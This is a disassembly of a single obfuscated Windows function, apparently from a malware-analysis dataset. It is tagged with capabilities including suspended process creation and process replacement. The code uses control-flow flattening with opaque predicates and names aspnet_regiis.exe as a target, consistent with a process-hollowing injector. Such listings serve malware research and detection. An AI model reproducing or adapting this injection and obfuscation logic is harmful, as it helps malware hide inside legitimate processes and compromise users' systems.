Function at 0x100095f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x134
mov eax, dword [0x10074800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x13c], 0x1c130a0
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
sub eax, 0x8078f2d9
je 0x100149f2
jmp 0x1000962c
mov eax, dword [ebp - 0x140]
sub eax, 0x8129b721
je 0x10016d0b
jmp 0x10009642
mov eax, dword [ebp - 0x140]
sub eax, 0x815a31d5
je 0x100122a5
jmp 0x10009658
mov eax, dword [ebp - 0x140]
sub eax, 0x8172449c
je 0x100124bb
jmp 0x1000966e
mov eax, dword [ebp - 0x140]
sub eax, 0x82419e7d
je 0x1001196c
jmp 0x10009684
mov eax, dword [ebp - 0x140]
sub eax, 0x82713835
je 0x10015bd0
jmp 0x1000969a
mov eax, dword [ebp - 0x140]
sub eax, 0x829c2e1e
je 0x1000dcbc
jmp 0x100096b0
mov eax, dword [ebp - 0x140]
sub eax, 0x838cf1dc
je 0x10012ef1
jmp 0x100096c6
mov eax, dword [ebp - 0x140]
sub eax, 0x842f3b90
je 0x10016cfc
jmp 0x100096dc
mov eax, dword [ebp - 0x140]
sub eax, 0x8473fc3b
je 0x1000e553
jmp 0x100096f2
mov eax, dword [ebp - 0x140]
sub eax, 0x84e14f50
je 0x10016eac
jmp 0x10009708
mov eax, dword [ebp - 0x140]
sub eax, 0x857038bc
je 0x100174d7
jmp 0x1000971e
mov eax, dword [ebp - 0x140]
sub eax, 0x85707caa
je 0x10016a35
jmp 0x10009734
mov eax, dword [ebp - 0x140]
sub eax, 0x85e839d9
je 0x10010853
jmp 0x1000974a
mov eax, dword [ebp - 0x140]
sub eax, 0x8694fcdd
je 0x1000e1b1
jmp 0x10009760
mov eax, dword [ebp - 0x140]
sub eax, 0x869b0eb2
je 0x100172f9
jmp 0x10009776
mov eax, dword [ebp - 0x140]
sub eax, 0x86a79562
je 0x10012751
jmp 0x1000978c
mov eax, dword [ebp - 0x140]
sub eax, 0x871e2468
je 0x100102e2
jmp 0x100097a2
mov eax, dword [ebp - 0x140]
sub eax, 0x8760ec7f
je 0x10012f00
jmp 0x100097b8
mov eax, dword [ebp - 0x140]
sub eax, 0x87a14f9f
je 0x10015b72
jmp 0x100097ce
mov eax, dword [ebp - 0x140]
sub eax, 0x87cf2c38
je 0x100150dc
jmp 0x100097e4
mov eax, dword [ebp - 0x140]
sub eax, 0x88153940
je 0x1001551c
jmp 0x100097fa
mov eax, dword [ebp - 0x140]
sub eax, 0x882e1f90
je 0x1000e3e6
jmp 0x10009810
mov eax, dword [ebp - 0x140]
sub eax, 0x896dab4d
je 0x10016afd
jmp 0x10009826
mov eax, dword [ebp - 0x140]
sub eax, 0x89f2f28e
je 0x100169d8
jmp 0x1000983c
mov eax, dword [ebp - 0x140]
sub eax, 0x8a954adc
je 0x10015b38
jmp 0x10009852
mov eax, dword [ebp - 0x140]
sub eax, 0x8ab6cc06
je 0x10016c03
jmp 0x10009868
mov eax, dword [ebp - 0x140]
sub eax, 0x8b22b479
je 0x10012ec2
jmp 0x1000987e
mov eax, dword [ebp - 0x140]
sub eax, 0x8b817a98
je 0x1000dfc8
jmp 0x10009894
mov eax, dword [ebp - 0x140]
sub eax, 0x8becc0a5
je 0x100173ff
jmp 0x100098aa
mov eax, dword [ebp - 0x140]
sub eax, 0x8bf3e809
je 0x10016ff1
jmp 0x100098c0
mov eax, dword [ebp - 0x140]
sub eax, 0x8c5eddcb
je 0x100131bd
jmp 0x100098d6
mov eax, dword [ebp - 0x140]
sub eax, 0x8cea54e0
je 0x1001178c
jmp 0x100098ec
mov eax, dword [ebp - 0x140]
sub eax, 0x8d4c7631
je 0x10014259
jmp 0x10009902
mov eax, dword [ebp - 0x140]
sub eax, 0x8d80ebc7
je 0x100113a6
jmp 0x10009918
mov eax, dword [ebp - 0x140]
sub eax, 0x8db089ed
je 0x1000ded2
jmp 0x1000992e
mov eax, dword [ebp - 0x140]
sub eax, 0x8dda2e4b
je 0x10016e6f
jmp 0x10009944
mov eax, dword [ebp - 0x140]
sub eax, 0x8e2114c2
je 0x100176fe
jmp 0x1000995a
mov eax, dword [ebp - 0x140]
sub eax, 0x8e2bcd63
je 0x10010914
jmp 0x10009970
mov eax, dword [ebp - 0x140]
sub eax, 0x8ebafb85
je 0x1000ec42
jmp 0x10009986
mov eax, dword [ebp - 0x140]
sub eax, 0x8ec3daf4
je 0x1000f131
jmp 0x1000999c
mov eax, dword [ebp - 0x140]
sub eax, 0x8ef1e351
je 0x10017615
jmp 0x100099b2
mov eax, dword [ebp - 0x140]
sub eax, 0x8f04b861
je 0x1000da3d
jmp 0x100099c8
mov eax, dword [ebp - 0x140]
sub eax, 0x8f7b91a0
je 0x1001571f
jmp 0x100099de
mov eax, dword [ebp - 0x140]
sub eax, 0x8f8a974e
je 0x10010230
jmp 0x100099f4
mov eax, dword [ebp - 0x140]
sub eax, 0x8ff54029
je 0x1001135d
jmp 0x10009a0a
mov eax, dword [ebp - 0x140]
sub eax, 0x905f9e0f
je 0x1000e5a4
jmp 0x10009a20
mov eax, dword [ebp - 0x140]
sub eax, 0x90ab60e1
je 0x1000ffa3
jmp 0x10009a36
mov eax, dword [ebp - 0x140]
sub eax, 0x90ac9b2b
je 0x10010d2e
jmp 0x10009a4c
mov eax, dword [ebp - 0x140]
sub eax, 0x91703854
je 0x10011d3d
jmp 0x10009a62
mov eax, dword [ebp - 0x140]
sub eax, 0x91c528eb
je 0x10010a9b
jmp 0x10009a78
mov eax, dword [ebp - 0x140]
sub eax, 0x92409c0a
je 0x10015171
jmp 0x10009a8e
mov eax, dword [ebp - 0x140]
sub eax, 0x92681ef7
je 0x100136f4
jmp 0x10009aa4
mov eax, dword [ebp - 0x140]
sub eax, 0x93488b7b
je 0x1000f452
jmp 0x10009aba
mov eax, dword [ebp - 0x140]
sub eax, 0x93ad5e0f
je 0x1000fa75
jmp 0x10009ad0
mov eax, dword [ebp - 0x140]
sub eax, 0x942eef63
je 0x1001393c
jmp 0x10009ae6
mov eax, dword [ebp - 0x140]
sub eax, 0x94eebffa
je 0x10014987
jmp 0x10009afc
mov eax, dword [ebp - 0x140]
sub eax, 0x94ff41c4
je 0x10014cf4
jmp 0x10009b12
mov eax, dword [ebp - 0x140]
sub eax, 0x95abffcd
je 0x10012f6e
jmp 0x10009b28
mov eax, dword [ebp - 0x140]
sub eax, 0x962edbaf
je 0x100105ba
jmp 0x10009b3e
mov eax, dword [ebp - 0x140]
sub eax, 0x9739080f
je 0x10017521
jmp 0x10009b54
mov eax, dword [ebp - 0x140]
sub eax, 0x973a9379
je 0x10011eca
jmp 0x10009b6a
mov eax, dword [ebp - 0x140]
sub eax, 0x974d21e9
je 0x10013c85
jmp 0x10009b80
mov eax, dword [ebp - 0x140]
sub eax, 0x9753a372
je 0x10014084
jmp 0x10009b96
mov eax, dword [ebp - 0x140]
sub eax, 0x975937b7
je 0x10011521
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe51160cf
mov ecx, 0xb5f15fc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xce7a57bf
sub edx, 1
sub edx, 0xce7a57bf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa1e6029a
mov ecx, 0x7b3dfe5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x52268734
sub edx, 1
add edx, 0x52268734
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4ef728f
mov ecx, 0xbbf7534e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x7acc0212
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x5acd4b32
jmp 0x1001771d
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0xc5fc9659
sub edx, 1
sub edx, 0xc5fc9659
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc05e8ad9
mov ecx, 0xc26b3a1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x88a29fae
sub edx, 1
add edx, 0x88a29fae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4560bf81
mov ecx, 0x905f9e0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dl, 1
mov eax, 0xbaaecfc2
mov ecx, 0x65d72df5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x5be206a1
jmp 0x1001771d
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x2f71511e
sub edx, 1
add edx, 0x2f71511e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6dd8553b
mov ecx, 0xfb006705
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0x312e42f6
sub edx, 1
add edx, 0x312e42f6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x495bb58b
mov ecx, 0x5023d4da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x100244a0]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xc017ff09
sub edx, 1
sub edx, 0xc017ff09
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbf387dc6
mov ecx, 0xe2df978e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x14284433
sub edx, 1
add edx, 0x14284433
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x842f3b90
mov ecx, 0x6edfa8cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x10024488]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x93b0760c
sub edx, 1
add edx, 0x93b0760c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd361dee8
mov ecx, 0xc40eb833
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x100246e8]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x13c], 0x128a77a3
jmp 0x1001771d
movss xmm0, dword [0x100246c4]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x13c], 0x7c4d65ea
jmp 0x1001771d
movss xmm0, dword [0x100246ac]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x13c], 0xc66f0e18
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x4b133b0
jmp 0x1001771d
movss xmm0, dword [0x10024698]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x13c], 0xe2caa9b5
jmp 0x1001771d
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0xeea63f
sub edx, 1
add edx, 0xeea63f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe386b800
mov ecx, 0x53fd8227
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84e14f50
mov ecx, 0x8d80ebc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x1002445c]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x48562e85
sub edx, 1
add edx, 0x48562e85
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x84e14f50
mov ecx, 0xf1787616
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4b93f72d
mov ecx, 0x11be8393
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x3b9d9874
jmp 0x1001771d
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce3cb920
mov ecx, 0xa51e287d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x10024614]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x10024610]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x13c], 0xa87ad2c
jmp 0x1001771d
movss xmm0, dword [0x10024604]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x13c], 0x2e15b2f2
jmp 0x1001771d
movss xmm0, dword [0x100245e8]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100245e4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x13c], 0xbe5b89da
jmp 0x1001771d
movss xmm0, dword [0x1002441c]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
add edx, 0xa333d829
sub edx, 1
sub edx, 0xa333d829
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x69b868a1
mov ecx, 0xe124873c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x100245a4]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x100245a0]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x13c], 0x838cf1dc
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x8760ec7f
jmp 0x1001771d
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa93897b2
mov ecx, 0x95abffcd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x10024404]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
add edx, 0x7b1cd1ae
sub edx, 1
sub edx, 0x7b1cd1ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa93897b2
mov ecx, 0xe8b523a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x1002459c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x13c], 0x7ae6f341
jmp 0x1001771d
movss xmm0, dword [0x100243e8]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb3455cb0
mov ecx, 0xbfcf1ad5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dl, 1
mov eax, 0xeb6ef0f6
mov ecx, 0xdc137f64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
mov edx, ecx
sub edx, 0x8dfd5c9e
sub edx, 1
add edx, 0x8dfd5c9e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x869b0eb2
mov ecx, 0xe177dab3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x9bc36f21
jmp 0x1001771d
mov eax, dword [0x10075b28]
mov ecx, dword [0x10075b24]
mov edx, eax
sub edx, 0xb54f1aa2
sub edx, 1
add edx, 0xb54f1aa2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71a57baa
mov ecx, 0x48912598
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
movss xmm0, dword [0x1002451c]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x13c], 0xd7787c6a
jmp 0x1001771d
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaf7cdedb
mov ecx, 0xca8a50e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dl, byte [ebp - 0x99]
mov eax, 0x9f2075bc
mov ecx, 0xd4214c23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x186e84fa
jmp 0x1001771d
mov edx, dword [ebp - 0x90]
mov eax, 0xf70a868e
mov ecx, 0x3a514cb4
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x78], eax
mov ecx, dword [0x10075b28]
mov eax, dword [0x10075b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb5188f9f
mov ecx, 0x7784fbd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov eax, dword [ebp - 0x6c]
movzx esi, word [eax]
mov edx, dword [ebp - 0x70]
mov eax, 0xe6719389
mov ecx, 0x30c4162f
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
mov dword [ebp - 0x13c], 0x50fc315b
jmp 0x1001771d
mov dl, byte [ebp - 0x45]
mov eax, 0xb19f716c
mov ecx, 0x5f09e91b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001771d
mov dword [ebp - 0x13c], 0xac96d67b
jmp 0x1001771d
movss xmm0, dword [0x100244ec]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x13c], 0xadcaadab
jmp 0x1001771d
movss xmm0, dword [0x100244e0]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x13c], 0x130c87c4
jmp 0x1001771d
mov dword [ebp - 0x13c], 0xf9465bfb
jmp 0x1001771d
movss xmm0, dword [0x100244b0]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100244ac]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x13c], 0x3ebfb512
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x6edfa8cd
jmp 0x1001771d
movss xmm0, dword [0x1002448c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x13c], 0x14c93393
jmp 0x1001771d
mov dword [ebp - 0x13c], 0x28a6f514
jmp 0x1001771d
movss xmm0, dword [0x1002445c]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x13c], 0x8d80ebc7
jmp 0x1001771d
movss xmm0, dword [0x10024434]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x13c], 0xe9937ca4
jmp 0x1001771d
mov dword [ebp - 0x13c], 0xe177dab3
jmp 0x1001771d
movss xmm0, dword [0x100243b0]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x13c], 0xc0907fff
jmp 0x1001771d
mov eax, dword [ebp - 0xdc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x13c], 0xe9d3c8cb
jmp 0x1001771d
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10008e90
add esp, 4
mov dword [ebp - 0x13c], 0x39e0d11f
jmp 0x1001771d
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x13c], 0xe199678e
jmp 0x1001771d
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x13c], 0x2ea5930f
jmp 0x1001771d
jmp 0x10009610